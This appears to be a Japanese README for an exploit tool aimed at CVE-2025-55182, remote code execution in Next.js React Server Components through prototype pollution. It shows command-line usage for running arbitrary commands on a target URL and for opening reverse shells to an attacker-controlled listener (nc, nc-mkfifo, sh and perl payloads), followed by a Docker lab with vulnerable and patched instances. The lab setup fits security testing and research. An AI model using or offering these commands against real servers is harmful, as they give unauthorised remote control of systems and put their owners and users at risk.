Next.js React Server Components RCE エクスプロイト

CVE-2025-55182 を利用し、プロトタイプ汚染を介してリモートコード実行を行います。

インストール

uv sync

使用方法

コマンド実行

source .venv/bin/activate
python3 exploit.py -u https://example.com -c "id"

リバースシェル

python3 exploit.py -u https://example.com -r -l YOUR_IP -p 4444 -P nc-mkfifo

オプション

• -u, --url: チェック対象のURL/ホスト（必須）
• -c, --cmd: 実行するコマンド
• -r, --reverse: リバースシェルモードを有効化
• -l, --lhost: リバースシェル用のリスナーホスト
• -p, --lport: リバースシェル用のリスナーポート
• -P, --payload: リバースシェルのペイロードタイプ: nc, nc-mkfifo, sh, perl（デフォルト: nc）
• --timeout: リクエストのタイムアウト（秒）（デフォルト: 10）

使用例

# Execute command
python3 exploit.py -u https://example.com -c "whoami"

# Reverse shell with nc-mkfifo (recommended for Alpine)
python3 exploit.py -u https://example.com -r -l 172.29.0.1 -p 4444 -P nc-mkfifo

ラボ環境

lab/ ディレクトリには、このエクスプロイトをテストするための完全な Docker セットアップが含まれています。

セットアップ

cd lab
docker-compose up -d

これにより、次の2つのサービスが起動します:

• vulnerable: ポート3011で動作する脆弱なNext.jsアプリケーション
• patched: ポート3012で動作する修正済みNext.jsアプリケーション

テスト

# Test on vulnerable instance
python3 exploit.py -u http://localhost:3011 -c "id"

# Test reverse shell (get gateway IP first)
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')
python3 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo